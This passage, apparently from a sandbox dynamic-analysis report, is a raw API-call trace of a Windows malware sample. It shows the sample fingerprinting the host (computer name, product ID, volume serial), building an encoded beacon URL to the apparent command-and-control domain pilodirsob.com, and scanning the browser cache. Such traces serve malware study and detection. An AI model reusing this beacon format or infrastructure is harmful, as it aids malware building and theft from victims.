lpBuffer=0x37fd74*(BaseAddress=0x756a0000, AllocationBase=0x756a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.516] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.516] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ede8 [0082.516] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x733f0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x733f0000, AllocationBase=0x733f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.516] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.516] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ede8 [0082.516] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x729d0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x729d0000, AllocationBase=0x729d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.516] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.516] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ede8 [0082.516] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyA") returned 0x7522cc15 [0082.516] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x37fda4 | out: phkResult=0x37fda4*=0x1d4) returned 0x0 [0082.516] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0082.516] RegQueryValueExA (in: hKey=0x1d4, lpValueName="Client", lpReserved=0x0, lpType=0x37fda0, lpData=0x0, lpcbData=0x37fdbc*=0x7737387a | out: lpType=0x37fda0*=0x3, lpData=0x0, lpcbData=0x37fdbc*=0x2c) returned 0x0 [0082.516] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2c) returned 0x274ede8 [0082.517] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0082.517] RegQueryValueExA (in: hKey=0x1d4, lpValueName="Client", lpReserved=0x0, lpType=0x37fda0, lpData=0x274ede8, lpcbData=0x37fdbc*=0x2c | out: lpType=0x37fda0*=0x3, lpData=0x274ede8*, lpcbData=0x37fdbc*=0x2c) returned 0x0 [0082.517] GetProcAddress (hModule=0x75220000, lpProcName="RegCloseKey") returned 0x7523469d [0082.517] RegCloseKey (hKey=0x1d4) returned 0x0 [0082.517] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ede8 | out: hHeap=0x2350000) returned 1 [0082.517] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x37fd88 | out: phkResult=0x37fd88*=0x0) returned 0x2 [0082.517] GetProcAddress (hModule=0x75220000, lpProcName="RegCreateKeyA") returned 0x7522cd01 [0082.517] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x37fdcc | out: phkResult=0x37fdcc*=0x1d4) returned 0x0 [0082.517] RegQueryValueExA (in: hKey=0x1d4, lpValueName="Client", lpReserved=0x0, lpType=0x37fdc4, lpData=0x448880, lpcbData=0x37fdd0*=0x2c | out: lpType=0x37fdc4*=0x3, lpData=0x448880*, lpcbData=0x37fdd0*=0x2c) returned 0x0 [0082.517] RegCloseKey (hKey=0x1d4) returned 0x0 [0082.517] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x274f298 [0082.517] wsprintfA (in: param_1=0x274f298, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0082.517] GetComputerNameA (in: lpBuffer=0x37fcbc, nSize=0x37fdd0 | out: lpBuffer="YKYD69Q", nSize=0x37fdd0) returned 1 [0082.518] lstrlenA (lpString="YKYD69Q") returned 7 [0082.518] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x37fdc8 | out: phkResult=0x37fdc8*=0x1d4) returned 0x0 [0082.518] RegQueryValueExA (in: hKey=0x1d4, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x37fcbc, lpcbData=0x37fdd0*=0x100 | out: lpType=0x0, lpData=0x37fcbc*=0x30, lpcbData=0x37fdd0*=0x18) returned 0x0 [0082.518] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0082.518] RegQueryValueExA (in: hKey=0x1d4, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x37fcbc, lpcbData=0x37fdd0*=0x100 | out: lpType=0x0, lpData=0x37fcbc*=0x57, lpcbData=0x37fdd0*=0x17) returned 0x0 [0082.518] lstrlenA (lpString="Windows 7 Professional") returned 22 [0082.518] RegQueryValueExA (in: hKey=0x1d4, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x37fcbc, lpcbData=0x37fdd0*=0x100 | out: lpType=0x0, lpData=0x37fcbc*=0x36, lpcbData=0x37fdd0*=0x4) returned 0x0 [0082.518] lstrlenA (lpString="6.1") returned 3 [0082.518] RegQueryValueExA (in: hKey=0x1d4, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x37fdc0, lpcbData=0x37fdd0*=0x4 | out: lpType=0x0, lpData=0x37fdc0*=0x8a, lpcbData=0x37fdd0*=0x4) returned 0x0 [0082.518] RegCloseKey (hKey=0x1d4) returned 0x0 [0082.518] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x37fdbc, lpMaximumComponentLength=0x37fdd0, lpFileSystemFlags=0x37fdc4, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x37fdbc*=0x705ba84c, lpMaximumComponentLength=0x37fdd0*=0xff, lpFileSystemFlags=0x37fdc4*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0082.519] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1c) returned 0x274f2c8 [0082.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404e68, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x37fde8 | out: lpThreadId=0x37fde8*=0x790) returned 0x1d4 [0082.520] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x37fdb0 | out: phkResult=0x37fdb0*=0x1d8) returned 0x0 [0082.520] RegQueryValueExA (in: hKey=0x1d8, lpValueName="Scr", lpReserved=0x0, lpType=0x37fdac, lpData=0x0, lpcbData=0x37fdd0*=0x0 | out: lpType=0x37fdac*=0x0, lpData=0x0, lpcbData=0x37fdd0*=0x0) returned 0x2 [0082.520] RegCloseKey (hKey=0x1d8) returned 0x0 [0082.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3f5e0d, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x37fde8 | out: lpThreadId=0x37fde8*=0x614) returned 0x1d8 Thread: id = 104 os_tid = 0x7d0 Thread: id = 105 os_tid = 0x790 [0082.536] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x1ec [0082.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2f5fb7c*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 106 os_tid = 0x614 [0082.537] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x1e8 [0082.537] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x1f0 [0082.537] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x1f4 [0082.537] SetLastError (dwErrCode=0xb7) [0082.537] CreateEventA (lpEventAttributes=0x449084, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x1f8 [0082.537] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x1fc [0082.537] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x200 [0082.537] SetLastError (dwErrCode=0xb7) [0082.537] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x204 [0082.537] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x208 [0082.537] SetLastError (dwErrCode=0xb7) [0082.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.926] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x5c4 [0095.926] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.926] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5c8 [0095.926] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efe00 | out: phkResult=0x30efe00*=0x5cc) returned 0x0 [0095.926] GetProcAddress (hModule=0x75220000, lpProcName="RegNotifyChangeKeyValue") returned 0x7522e15b [0095.984] RegNotifyChangeKeyValue (hKey=0x5cc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c8, fAsynchronous=1) returned 0x0 [0095.984] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0095.984] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0095.984] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x0 [0095.984] SetWaitableTimer (hTimer=0x1f0, lpDueTime=0x30efe18, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0095.984] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274f470 [0095.984] GetTickCount () returned 0x250dd [0095.984] wsprintfA (in: param_1=0x274f470, param_2="soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&guid=%08x%08x%08x%08x" | out: param_1="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0095.984] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x11) returned 0x274f2f0 [0095.984] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274d658 [0095.984] GetTickCount () returned 0x250dd [0095.985] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x13) returned 0x274f310 [0095.985] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x9) returned 0x27489f8 [0095.985] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa) returned 0x274f330 [0095.985] lstrlenA (lpString="%s=%s&") returned 6 [0095.985] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x18) returned 0x274f348 [0095.986] sprintf (in: _Dest=0x274f348, _Format="%s=%s&" | out: _Dest="qwpuhcnru=nqlfhvrd&") returned 19 [0095.986] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f330 | out: hHeap=0x2350000) returned 1 [0095.986] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0095.986] lstrlenA (lpString="qwpuhcnru=nqlfhvrd&") returned 19 [0095.986] lstrlenA (lpString="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0095.986] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x93) returned 0x274fc78 [0095.987] strcpy (in: _Dest=0x274fc78, _Source="qwpuhcnru=nqlfhvrd&" | out: _Dest="qwpuhcnru=nqlfhvrd&") returned="qwpuhcnru=nqlfhvrd&" [0095.987] lstrcatA (in: lpString1="qwpuhcnru=nqlfhvrd&", lpString2="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="qwpuhcnru=nqlfhvrd&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="qwpuhcnru=nqlfhvrd&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f" [0095.987] lstrlenA (lpString="qwpuhcnru=nqlfhvrd&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f95d&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 146 [0095.987] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa0) returned 0x274fd18 [0095.987] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa0) returned 0x274fdc0 [0095.987] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd18 | out: hHeap=0x2350000) returned 1 [0095.987] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x140) returned 0x274fe68 [0095.988] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fdc0 | out: hHeap=0x2350000) returned 1 [0095.988] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0095.989] GetProcAddress (hModule=0x76d00000, lpProcName="StrTrimA") returned 0x76d3e63c [0096.207] StrTrimA (in: psz="5qbVQlb0ymuWmr/kDDNVO/aAbeais0tlU4Yq6BT+9eGfIoI43LtIhuVQtnQchMUX6n9FB3asYZXw/hYDUJMTYaB3PKILEcVcgWMgDIGrshBe0T/3OwLtl327JybBo858JdBzTIm9AayoD6ps+ox0bRB6Ldta7Ec/84BmjL+nKYZQkpkBMno7exP3mbnkFEDFUo4OOfG5hYXwgQTjEpneVZ==\n\r", pszTrimChars="\r\n=" | out: psz="5qbVQlb0ymuWmr/kDDNVO/aAbeais0tlU4Yq6BT+9eGfIoI43LtIhuVQtnQchMUX6n9FB3asYZXw/hYDUJMTYaB3PKILEcVcgWMgDIGrshBe0T/3OwLtl327JybBo858JdBzTIm9AayoD6ps+ox0bRB6Ldta7Ec/84BmjL+nKYZQkpkBMno7exP3mbnkFEDFUo4OOfG5hYXwgQTjEpneVZ") returned 1 [0096.207] lstrlenA (lpString="5qbVQlb0ymuWmr/kDDNVO/aAbeais0tlU4Yq6BT+9eGfIoI43LtIhuVQtnQchMUX6n9FB3asYZXw/hYDUJMTYaB3PKILEcVcgWMgDIGrshBe0T/3OwLtl327JybBo858JdBzTIm9AayoD6ps+ox0bRB6Ldta7Ec/84BmjL+nKYZQkpkBMno7exP3mbnkFEDFUo4OOfG5hYXwgQTjEpneVZ") returned 214 [0096.207] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x283) returned 0x274de60 [0096.207] _snprintf (in: _Dest=0x274de6e, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.207] _snprintf (in: _Dest=0x274de77, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.207] _snprintf (in: _Dest=0x274de8b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0096.207] _snprintf (in: _Dest=0x274deb2, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.208] _snprintf (in: _Dest=0x274ded6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.208] _snprintf (in: _Dest=0x274defa, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0096.208] _snprintf (in: _Dest=0x274df0b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.208] _snprintf (in: _Dest=0x274df14, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0096.208] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe68 | out: hHeap=0x2350000) returned 1 [0096.208] lstrlenA (lpString="5qbVQlb0ymuWmr_2FkDDNVO_2FaAbeais0tlU4Yq6BT_2B9eGfIoI43LtIhuVQtnQchMUX6n9FB3asYZXw_2FhYDUJMTYaB3PKILEcVcgWMgDIGrshBe0T_2F3OwLtl327JybBo858JdBzTIm9AayoD6ps_2Box0bRB6Ldta7Ec_2F84BmjL_2BnKYZQkpkBMno7exP3mbnkFEDFUo4OOfG5hYXwgQTjEpneVZ") returned 230 [0096.208] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x103) returned 0x274fc78 [0096.208] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0096.208] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f348 | out: hHeap=0x2350000) returned 1 [0096.208] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0096.208] StrTrimA (in: psz="5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z", pszTrimChars="\r\n" | out: psz="5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z") returned 0 [0096.208] lstrlenA (lpString="/images/") returned 8 [0096.208] lstrlenA (lpString="5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z") returned 245 [0096.208] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xfe) returned 0x274fd88 [0096.208] lstrcpyA (in: lpString1=0x274fd88, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0096.208] lstrcatA (in: lpString1="/images/", lpString2="5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z" | out: lpString1="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z") returned="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z" [0096.208] lstrcpyA (in: lpString1=0x274fc78, lpString2=".jpeg" | out: lpString1=".jpeg") returned=".jpeg" [0096.208] lstrcpyA (in: lpString1=0x274d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0096.208] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z" | out: lpString1="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z") returned="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z" [0096.208] lstrcatA (in: lpString1="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z", lpString2=".jpeg" | out: lpString1="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg") returned="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg" [0096.208] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1000) returned 0x26d00d8 [0096.208] FindFirstUrlCacheEntryA (in: lpszUrlSearchPattern=0x0, lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 0x1 [0096.209] StrStrIA (lpFirst="Cookie:aetadzjz@live.com/", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Cookie:aetadzjz@g.live.com/", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Cookie:aetadzjz@google.de/", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.209] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.209] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.210] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.210] StrStrIA (lpFirst="Visited: 